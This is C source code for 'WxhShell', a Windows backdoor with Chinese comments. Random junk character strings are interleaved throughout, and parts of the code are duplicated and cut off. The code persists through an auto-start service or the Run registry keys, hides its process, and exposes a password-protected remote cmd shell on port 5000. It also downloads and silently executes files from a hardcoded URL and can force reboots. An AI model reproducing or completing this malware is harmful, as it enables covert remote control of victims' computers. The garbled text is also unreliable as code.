(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tFn)aa~L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); + 480 l} , pfG if (!NtQueryInformationProcess) return 0; \sixI;-2 q_8+HEvo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;+_:,_ if(!hProcess) return 0; 2|y"!JqE1 |i*37r6]= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u#fM_>ML /62!cp/F/D CloseHandle(hProcess); P5V}#;v 6wRd<]C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K3&qq[8.e if(hProcess==NULL) return 0; c):/!Q 539>WyG5 HMODULE hMod; Es`Px_k char procName[255]; s)t@ol unsigned long cbNeeded; M?49TOQA *R,5h2; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `hm-.@f,9 ?<,l3pwqa CloseHandle(hProcess); A2FYBM`Q&D qwcD`HV, if(strstr(procName,"services")) return 1; // 以服务启动 \K{
z ]c*4J\s return 0; // 注册表启动 qZh/IW } =*.~BG K3m/(jdO // 主模块 -ad{tJV| int StartWxhshell(LPSTR lpCmdLine) :kV#y { }#+^{P3 ; SOCKET wsl; }&D WaO]J7 BOOL val=TRUE; QL/(72K int port=0; rXq.DvQ struct sockaddr_in door; c#]4awHU ?R
'r4P, if(wscfg.ws_autoins) Install(); @4C% +- qkqIV^*R port=atoi(lpCmdLine); Q\vpqE!9 zI uJ-8T" if(port<=0) port=wscfg.ws_port; 1H`,WQ1mG [DOckf oZx WSADATA data; 'oVx#w^mf if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n&/
` On?v|10r' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
l&zilVVm setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >|=ts door.sin_family = AF_INET; H41?/U,{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ty!`T+3 door.sin_port = htons(port); Qel9G($= hZ,_6mNg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I
34>X`[o closesocket(wsl); a-tmq]]E return 1; @1j
} }>|s=uGW
/maJtX' if(listen(wsl,2) == INVALID_SOCKET) { W@IQ^
}E closesocket(wsl); Rp7mh]kZ return 1; MN>b7O \.? } 9=tIz Wxhshell(wsl); d-ko
^Y0 WSACleanup(); G*MUO#_iuh 7A7?GDW return 0; 8Fh)eha9f >'$Mp < } Y@iS_lR N~gzDQ3 // 以NT服务方式启动 tOD6&< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3}1u\(Mf { (9d & DWORD status = 0; BlO<PMmhT& DWORD specificError = 0xfffffff; o-HT1Hc! ^\% (,KNo serviceStatus.dwServiceType = SERVICE_WIN32; 8,%^
M9zBP serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2,F.$X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HiFUv>,u serviceStatus.dwWin32ExitCode = 0; @HC Vmg: serviceStatus.dwServiceSpecificExitCode = 0; ~~P5k: serviceStatus.dwCheckPoint = 0; I{2hfKUe` serviceStatus.dwWaitHint = 0; Om@;J%u/ >U>(`r* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gD?l-RT> if (hServiceStatusHandle==0) return; uW{l(}0N dT8S~-d% status = GetLastError(); X?',n
1 if (status!=NO_ERROR) j$:~Rek { bJ%h53 serviceStatus.dwCurrentState = SERVICE_STOPPED; 3"e,qY serviceStatus.dwCheckPoint = 0; |df Pki{ serviceStatus.dwWaitHint = 0; xo&_bMO serviceStatus.dwWin32ExitCode = status; mJnIwdW* serviceStatus.dwServiceSpecificExitCode = specificError; A)!*]o>U SetServiceStatus(hServiceStatusHandle, &serviceStatus); O bS3
M return; ]m<$} } p
l0\2e) 3$R1ipb serviceStatus.dwCurrentState = SERVICE_RUNNING; m0SlOgRsk serviceStatus.dwCheckPoint = 0; d0ksG$ serviceStatus.dwWaitHint = 0; ND;#7/$> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cI*;k.KU } p2](_}PK Fxz"DZY6 // 处理NT服务事件,比如:启动、停止 fr3d VOID WINAPI NTServiceHandler(DWORD fdwControl) y%T_pTcU { kevrsV]/$ switch(fdwControl) "8MF_Gu): { 7$=InK case SERVICE_CONTROL_STOP: 0S~rgq|O serviceStatus.dwWin32ExitCode = 0; ?`ZUR&
20 serviceStatus.dwCurrentState = SERVICE_STOPPED; =,8]nwgo serviceStatus.dwCheckPoint = 0; HV|,}Wks6s serviceStatus.dwWaitHint = 0; r19
pZAc { h]gp ^?= SetServiceStatus(hServiceStatusHandle, &serviceStatus); n>YKa)|W` } NLqzi%s return; da(<K} case SERVICE_CONTROL_PAUSE: PZ9I`P!C serviceStatus.dwCurrentState = SERVICE_PAUSED; tsjrRMR break; cwg"c4V case SERVICE_CONTROL_CONTINUE: z:*|a+cy serviceStatus.dwCurrentState = SERVICE_RUNNING; Z9|P'R(l break; _D tV case SERVICE_CONTROL_INTERROGATE: /4Gt{ygSr break; 5j(k:a+!H }; ~>|ziHx SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5]0<9a } %h@EP[\ &8lZNv8;(p // 标准应用程序主函数 e7 o.xR int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3w'tH4C[Y { Nf\LN$ &8 o+'6`g'8 // 获取操作系统版本 0l6.<-f{ OsIsNt=GetOsVer(); bH~dJFj/ GetModuleFileName(NULL,ExeFile,MAX_PATH); &u
!,Hp k,*XG$2h // 从命令行安装 mzgfFNm^G) if(strpbrk(lpCmdLine,"iI")) Install(); Zy/_
E@C}u KWHY4 // 下载执行文件 7[)E>XRE if(wscfg.ws_downexe) { 4WB0Pt{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ktIFI`@w) WinExec(wscfg.ws_filenam,SW_HIDE); U K!(G } n[rCQdM&U" $UwCMPs X if(!OsIsNt) { ]f_p8?j" // 如果时win9x,隐藏进程并且设置为注册表启动 9.#<b|g HideProc(); mfr|:i StartWxhshell(lpCmdLine); z{QqY.Gu{G } ~"!fP3"e else B@ EC5Ap* if(StartFromService()) Z`i(qCAd( // 以服务方式启动 ob]w;" StartServiceCtrlDispatcher(DispatchTable); hZb_P\1X else RRJ%:5& // 普通方式启动 ~n_HP_Kf? StartWxhshell(lpCmdLine); He@KV= ^\m![T\bX return 0; TWTb?HP } f o3}W^0 ;uGv:$([g F+qm[Bc8 flx(HJK =========================================== @6.vKCSE ]SEZaT sI2^Qp@O1 $??I/6 %hP^%'G HzsdHH(J " .%-8 t{dt c+ie8Q! #include <stdio.h> ueNS='+m #include <string.h> *un^u-; #include <windows.h> u3D)M%e #include <winsock2.h> H5an%kU|j #include <winsvc.h> sLk-x\P]| #include <urlmon.h> \;Weizq5 L~3Pm%{@A #pragma comment (lib, "Ws2_32.lib") 0jfuBj5! #pragma comment (lib, "urlmon.lib") 4+tEFxvX& 4qa.1j(R/ #define MAX_USER 100 // 最大客户端连接数 U<XG{<2 #define BUF_SOCK 200 // sock buffer M6TD"- #define KEY_BUFF 255 // 输入 buffer /-s6<e! |s_GlJV. #define REBOOT 0 // 重启 DmcZta8n] #define SHUTDOWN 1 // 关机 1Y,Z
%d kx^/*~ex #define DEF_PORT 5000 // 监听端口 K=&>t6s< *qq+jsA6wH #define REG_LEN 16 // 注册表键长度 XWw804ir #define SVC_LEN 80 // NT服务名长度 {;oPLr+Z J}t%p(mb // 从dll定义API :(%5:1W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lTsjxw
o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "@ n%Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dh\P4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =(^3}x
mE[y SrV // wxhshell配置信息 V]^$S"Tv struct WSCFG { X8\GzNE~R int ws_port; // 监听端口 An@t?#4gxi char ws_passstr[REG_LEN]; // 口令 ssL\g`xe int ws_autoins; // 安装标记, 1=yes 0=no xSu > char ws_regname[REG_LEN]; // 注册表键名 F0#
'WfM# char ws_svcname[REG_LEN]; // 服务名 *zLMpL_ char ws_svcdisp[SVC_LEN]; // 服务显示名 AQ Ojit6p char ws_svcdesc[SVC_LEN]; // 服务描述信息 qQa}wcU'9p char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :6dxtl/{b: int ws_downexe; // 下载执行标记, 1=yes 0=no Y);=TM6s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $[|mGae char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *1"+%Z^ =~gvZV-< }; a'T;x`b8U, dr"1s-D4IQ // default Wxhshell configuration x1a:u struct WSCFG wscfg={DEF_PORT, fQFk+C "xuhuanlingzhe", XPPdwTOr 1, '%;m?t%q "Wxhshell", ^J{:x "Wxhshell", PY'2h4IL "WxhShell Service", y7<|_:00 "Wrsky Windows CmdShell Service", CJyevMf' "Please Input Your Password: ", +[ZY:ZQ 1, #9s,#
} "http://www.wrsky.com/wxhshell.exe", ,%y/kS] "Wxhshell.exe" xD 7]C|8o }; /{2,zW OrW // 消息定义模块 u?EN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {RPI]DcO/ char *msg_ws_prompt="\n\r? for help\n\r#>"; @6]JIJE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SrJE_~i char *msg_ws_ext="\n\rExit."; QV8g#&z char *msg_ws_end="\n\rQuit."; -g<oS9 char *msg_ws_boot="\n\rReboot..."; n+p }\msH char *msg_ws_poff="\n\rShutdown..."; =pr7G+_u char *msg_ws_down="\n\rSave to "; XP}<N&j A}w/OA97RO char *msg_ws_err="\n\rErr!"; ?A0)L27UE& char *msg_ws_ok="\n\rOK!"; sos5Y} z9"U!A4 char ExeFile[MAX_PATH];
.Y|!:t| int nUser = 0; $Kd>:f=A HANDLE handles[MAX_USER]; 7$#u int OsIsNt; kf9X$d6 ; @X<lCk SERVICE_STATUS serviceStatus; Bp{Ri_&A SERVICE_STATUS_HANDLE hServiceStatusHandle; bK7J} 8hH &3&HY:yF // 函数声明 g{LP7D;6 int Install(void); H*6W q int Uninstall(void); R-14=|7a- int DownloadFile(char *sURL, SOCKET wsh); #;S*V" int Boot(int flag); v^PO|Z void HideProc(void); NlXimq int GetOsVer(void); 1mJHued=6 int Wxhshell(SOCKET wsl); sRfcF`7 void TalkWithClient(void *cs); zeRyL3fnmb int CmdShell(SOCKET sock); m+9#5a- int StartFromService(void); ;a3}~s int StartWxhshell(LPSTR lpCmdLine); |a@L}m hGrdtsH? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zd&S@Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); ('~LMu_ @nf`Gw ; // 数据结构和表定义 ,,TnIouy SERVICE_TABLE_ENTRY DispatchTable[] = $Q0n { 31)&vf[[ {wscfg.ws_svcname, NTServiceMain}, b Zt3| {NULL, NULL} n@w%Zl }; 9 $X- -qoH,4w // 自我安装
8Y?;x} int Install(void) X?Au/ { 'q.!|G2U char svExeFile[MAX_PATH]; B<-Wea HKEY key; (.,G=\! strcpy(svExeFile,ExeFile); >3bCTE ,?3G;- // 如果是win9x系统,修改注册表设为自启动 E"0>yl) if(!OsIsNt) { >d6| ^h'0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { adw2x pj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .(vwIb8\_ RegCloseKey(key); .V*^|UXbHi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EK'!}OGCG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2pAW9R#UV- RegCloseKey(key); v0y(58Rz. return 0; 0IpmRH/ } r*Xuj= } ;d?R:Uw8 } F[0]/ else { ~K=b\xc^ Mp]rUPK // 如果是NT以上系统,安装为系统服务 pJ{Y
lS{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W>LR\]Ti@ if (schSCManager!=0) D,6:EV"sa { snJ129}A SC_HANDLE schService = CreateService 7o4\oRGV ( '<M{)? schSCManager, uq{beC wscfg.ws_svcname, ?4B`9<j8% wscfg.ws_svcdisp, cNH7C"@GVu SERVICE_ALL_ACCESS, _G0x3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 54/=G(F SERVICE_AUTO_START, (w{j6).3Dj SERVICE_ERROR_NORMAL, %3rP`A svExeFile, -HuA
\0J NULL, x"~JR\yzKJ NULL, wS*E(IAl NULL, Q.[0ct NULL, P* o9a NULL ;=N#`l ); 9B4&m|g if (schService!=0) K%d&EYoW] { 0aAoV0fMDz CloseServiceHandle(schService); 2?x4vI
np; CloseServiceHandle(schSCManager); BuwY3F\-O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xeajxcop# strcat(svExeFile,wscfg.ws_svcname); 4R*,VR.K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #b`ke/P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fZ. ONq RegCloseKey(key); *](iS return 0;
l^qI,M } _j3f Ar(V } |{8Pb3#U CloseServiceHandle(schSCManager); 626r^c= } rGO8!X 3d } :-'qC8C ]{iQ21`a- return 1; $C\BcKlmv } :%.D78& ?8$Q-1= // 自我卸载 z @Y;r=v int Uninstall(void) oQ# 8nu{k { m2o0y++TjW HKEY key; ]tD]Wx% v1[29t<I! if(!OsIsNt) { XRH!]! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uv.)?YeGh RegDeleteValue(key,wscfg.ws_regname); 40/Y\ RegCloseKey(key); %LV9=!w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ..qCPlK; RegDeleteValue(key,wscfg.ws_regname); HhpDR RegCloseKey(key); 68
sB)R return 0; ;fJ.8C } TN.rrop`#g } /\Ef%@ } 9UkBwS` else { }}[2SH'nH ~V-XEQA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,'+kBZOv if (schSCManager!=0) +H.`MZ= { FtZ?C@1/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >bxS3FCX if (schService!=0) M{\I8oOg { s>en if(DeleteService(schService)!=0) { H. c7Nle CloseServiceHandle(schService); /mMV{[ CloseServiceHandle(schSCManager); :svqE+2 return 0; g{Rd=1SK] } w@pPcZ>z/ CloseServiceHandle(schService); =WLY 6)]A } SIllU CloseServiceHandle(schSCManager); yr6V3],Tp } "zc l|@ } nEfK53i_ <[v[ci return 1; q<J~ ~' } Nl/dX-I JVJMgim)0 // 从指定url下载文件 \lY_~*J int DownloadFile(char *sURL, SOCKET wsh) 4JEpl'5^Q { TV:9bn?r) HRESULT hr; GeqPRah char seps[]= "/"; :Al!1BJQ char *token; ;j7#7MN2_E char *file; dI2
V>vk char myURL[MAX_PATH]; y9;Yivr) char myFILE[MAX_PATH]; =vPj%oLp'a lk!@? strcpy(myURL,sURL); s.#`&Sd> token=strtok(myURL,seps); z{6Z
11| while(token!=NULL) l.]xB,k { h 0|s file=token; L-Lvp%% token=strtok(NULL,seps); >usL*b0% } =v\.h=~~ LscGTs, GetCurrentDirectory(MAX_PATH,myFILE); 5s XXM strcat(myFILE, "\\"); 5tnlrqC strcat(myFILE, file); i1085ztN send(wsh,myFILE,strlen(myFILE),0); H::bwn`Vc send(wsh,"...",3,0); CAlCDfKW} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @d_M@\r=j if(hr==S_OK) KXrjqqXs return 0; Z,=1buSz_ else k!^{eOM return 1; 1cDF!X] ~rm_vo } /xQTxh1;K NRuNKl.v // 系统电源模块 TrNF=x> int Boot(int flag) 0"R|..l/ { #G3<7PK HANDLE hToken; |:o4w TOKEN_PRIVILEGES tkp; Pfh mo $ @ZJS&23E if(OsIsNt) { YR70BOxK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Smh,zCc>s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vI?, 47Hj+ tkp.PrivilegeCount = 1; [7-?7mp!B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SJLis"8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >!JS:5| if(flag==REBOOT) { 3%6?g* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zCA2X
!7F return 0; [Pp'Ye~K@c } J4'eI[73 else {
y7{?Ip4[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IBGrt^$M return 0; "MsIjSu } l] vm=7: } _aphkeqd else { xk5]^yDp if(flag==REBOOT) { jdN`mosJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YUb_y^B^ return 0; T|$H#n} } *a)n62 else { mv><HqDL1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #4:?gfIj return 0; o-\[,}T)M } `^vE9nW7 } km(Po} Wqnc{oq|$ return 1; Sz~OX6L } PnTu +q4O D$} // win9x进程隐藏模块 [^)g%|W void HideProc(void) OI*H,Z" { wkq 66? .}t
e>]A* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9$t(&z= if ( hKernel != NULL ) GdwVtqbX { e.C)jv6qr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =l6mL+C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +vH4MwG$.& FreeLibrary(hKernel); mw!F{pw } M:8R-c#![ `uFdwO'DD return; {ax:RUQxy } /z!%d%" oDR%\VY6T // 获取操作系统版本 \bF{-" 7. int GetOsVer(void) H|*m$|$, { [
3Gf2_ OSVERSIONINFO winfo; 7_L;E~\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RN1_S GetVersionEx(&winfo); ig!+2g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _#niyW+?~ return 1; do%&m]#; else IPk4
;, return 0; .H|-_~Yx| } $`c:& j.Hf/vi`z // 客户端句柄模块 +0&/g&a\R int Wxhshell(SOCKET wsl) "[k3kAm { #R"*c
hLV SOCKET wsh; p ?!/+ struct sockaddr_in client; xAr\gu DWORD myID; 8mMQ[#0:} Uly ue while(nUser<MAX_USER) =&]L00u. { ^ c<Ve'- int nSize=sizeof(client); 2HdC |$_+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j^'go&p if(wsh==INVALID_SOCKET) return 1; 8Wx=p#_ A<{{iBEI` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d~H`CrQE* if(handles[nUser]==0) L#J1b!D&<6 closesocket(wsh); fl(wV.Je| else \Z/@C lCm nUser++; s#11FfF` } o4X{L`m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wc#24:OKe3 wz%-%39q% return 0; khe}*y } Nc`L;CP L_T5nD^D // 关闭 socket "[J^YKoF void CloseIt(SOCKET wsh) DI>s-7 { e=
AKD# closesocket(wsh); yAt^; nUser--; +whDU2 " ExitThread(0); \e;iT\=.( } fu5=k:/c A&VG~r$ // 客户端请求句柄 KPF1cJ2N void TalkWithClient(void *cs) w>gYx(8b { \dVOwr v+XJ*N[W SOCKET wsh=(SOCKET)cs; %v|B * char pwd[SVC_LEN]; vzM^$V char cmd[KEY_BUFF]; .]^?<bG char chr[1]; ueudRb int i,j; G[=c
Ss, pP_LR
ks} while (nUser < MAX_USER) { O-^Ma-} t_^4`dW` if(wscfg.ws_passstr) { C]6O!Pb0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )e{aN+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &ncvGDGi //ZeroMemory(pwd,KEY_BUFF); XSRsGTCC= i=0; AH^/V}9H while(i<SVC_LEN) { w<#!h6Y= +[VXs~I
q // 设置超时 Psf#c:*_) fd_set FdRead; kmW4:EA% struct timeval TimeOut; Y4-t7UlS; FD_ZERO(&FdRead); J5qZFD FD_SET(wsh,&FdRead); -f .,tM= TimeOut.tv_sec=8; *w&e\i|7 TimeOut.tv_usec=0; ;uJMG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7! Nsm if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zPO9!?7| V!Uc( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6m93puY`7 pwd=chr[0]; K1KreYlF if(chr[0]==0xd || chr[0]==0xa) { ]kSG R pwd=0; L0,'mS break; 2G7Wi!J } COlqcq'qAu i++; *@5 @,=d } 9;{CIMg& -RwE%cr // 如果是非法用户,关闭 socket 1zv'.uu., if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :;}P*T*PU } ?}oFg#m-<L `?]k{ l1R send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9{l}bu/u send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dPlV>IM$z T)/eeZ$ while(1) { 0J9x9j`&j lA]8&+,ZM ZeroMemory(cmd,KEY_BUFF); ?,mmYW6TjB kP:!/g // 自动支持客户端 telnet标准 iS^QTuk3% j=0; uRvP hkqm while(j<KEY_BUFF) { ';CNGv - if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0mE 0 j cmd[j]=chr[0]; Ud?Q%)X if(chr[0]==0xa || chr[0]==0xd) { ^qs $v06 cmd[j]=0; t Q)qCk07 break; _6Sp QW } 6P3*Z j++; oJ^P(] dw } X?O[r3< @d'j zs // 下载文件 H_a[)DT if(strstr(cmd,"http://")) { zhQJy?>'m send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7!1S)dup if(DownloadFile(cmd,wsh)) 3]Ct6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); (PLUFT else ?<!| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oH@78D0A } {}9a6.V;}
else { YK_7ip.a[ )~>YH*g switch(cmd[0]) { L(-4w+ 00(\ZUj // 帮助 )0`C@um case '?': { 81F9uM0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vM={V$D& break; e\rp)[>' } $xsd~L& // 安装 pglVR </ case 'i': { E.h*g8bXe if(Install()) 0GwR~Z}Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6tZI["\ else zLQx%Yg! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }MySaL> break; >*bvw~y, } ".%k6W<n // 卸载 g)-te+?6 case 'r': { 5P bW[ if(Uninstall()) PCA4k.,T send(wsh,msg_ws_err,strlen(msg_ws_err),0); [),ige else C!gZN9- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F|8& break; Py<}S-: } gGYKEq{j( // 显示 wxhshell 所在路径 +`4A$#$+y case 'p': { T{"(\X$ char svExeFile[MAX_PATH]; l/D}
X strcpy(svExeFile,"\n\r"); _c07}aQ ], strcat(svExeFile,ExeFile); (FV >m send(wsh,svExeFile,strlen(svExeFile),0); (7Qo break; %T[]zJ( } BtZ yn7a // 重启 l (o~-i\M case 'b': { _1^'(5f$ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y_,bu^+* if(Boot(REBOOT)) YSMAd-Ef- send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[ZJ]^n, else { )7@0[> closesocket(wsh); )oZ dj` ExitThread(0); lZ0 =;I } *p d@.|^)m break; 3`HV(5U[ } gw(z1L5
n // 关机 K3C <{#r case 'd': { <@}9Bid!o send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); al0L&z\ if(Boot(SHUTDOWN)) XW9!p.*.U send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,4rPg]r@ else { ~&O%N closesocket(wsh); a*;b^Ze`v ExitThread(0); I fir ,8 } INf&4!&h break; CLSK'+l } Xj*Wu_ // 获取shell hZ3bVi)L\ case 's': { E`q_bn CmdShell(wsh); #$vEGY}1 closesocket(wsh); 8L XHk l ExitThread(0); :gT4K-Oj break; 6~{C.No} } zDp 2g) // 退出 a.'*G6~Qgw case 'x': { ^.tg 7%dJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b6[j%(
CloseIt(wsh); qR.Q,(b| break; N!3 2 wJ } ^8tEach // 离开 C~[,z.FvO case 'q': { )"LJ
hLg send(wsh,msg_ws_end,strlen(msg_ws_end),0); m|# y
>4 closesocket(wsh); ivPg9J1S WSACleanup(); j pOp. exit(1); ax2B ]L2 break; ]Dzlp7Y} } =sFTxd_"iQ } mmsPLv6 } wBzC5T%, ]9L
oZ) // 提示信息 fVwUe _Y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p<2,=*2 } *"kM{*3:v } .pq%?& !W0v >p return; A
>$I
-T+ } +"(jjxJm !BI;C(,RL // shell模块句柄 #g=XUZ/" int CmdShell(SOCKET sock) V]N?6\Op { |o@%dH STARTUPINFO si; *VeRVaBl ZeroMemory(&si,sizeof(si)); ]k(]qZ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d3Rw!slIq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^.G$Q# y, PROCESS_INFORMATION ProcessInfo; Je@v8{][| char cmdline[]="cmd"; tDo"K3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fnY.ao1-s[ return 0; +#By*;BJ } .
.-hAH 5r_|yu // 自身启动模式 D0Cy^_ int StartFromService(void) IB<d { VX/#1StC typedef struct fh{`Mz,o { q;U,s)Uz^ DWORD ExitStatus; 9kojLqCT DWORD PebBaseAddress; 7KPwQ?SjT DWORD AffinityMask; 3F0 N^)@ DWORD BasePriority; V1?]|HTQcT ULONG UniqueProcessId; kLY^! ULONG InheritedFromUniqueProcessId; ca}2TT&t } PROCESS_BASIC_INFORMATION; -+5>|N# Tr|JYLwF PROCNTQSIP NtQueryInformationProcess; FqifriLN i?gSC<a static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KgG4*< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [V!tVDs&'o dd["dBIZ ' HANDLE hProcess; 2Hdu:"j PROCESS_BASIC_INFORMATION pbi; ]d`VT)~vje fatf*}eln HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >MK98(F if(NULL == hInst ) return 0; 9Ee'Cm sr}E+qf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H1T.(M/" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Iw\c NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TKjFp%
9akH if (!NtQueryInformationProcess) return 0; |M_UQQAB| 8D].MI^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bi:8(Q$w:` if(!hProcess) return 0; iOdpM{~* fQ98(+6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +O5hH8<&b 7Qsgys#/= CloseHandle(hProcess); or]IZ2^n SzRmF1< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ? q&T$8zc4 if(hProcess==NULL) return 0; iO[<1? [:V$y1 HMODULE hMod; %UM
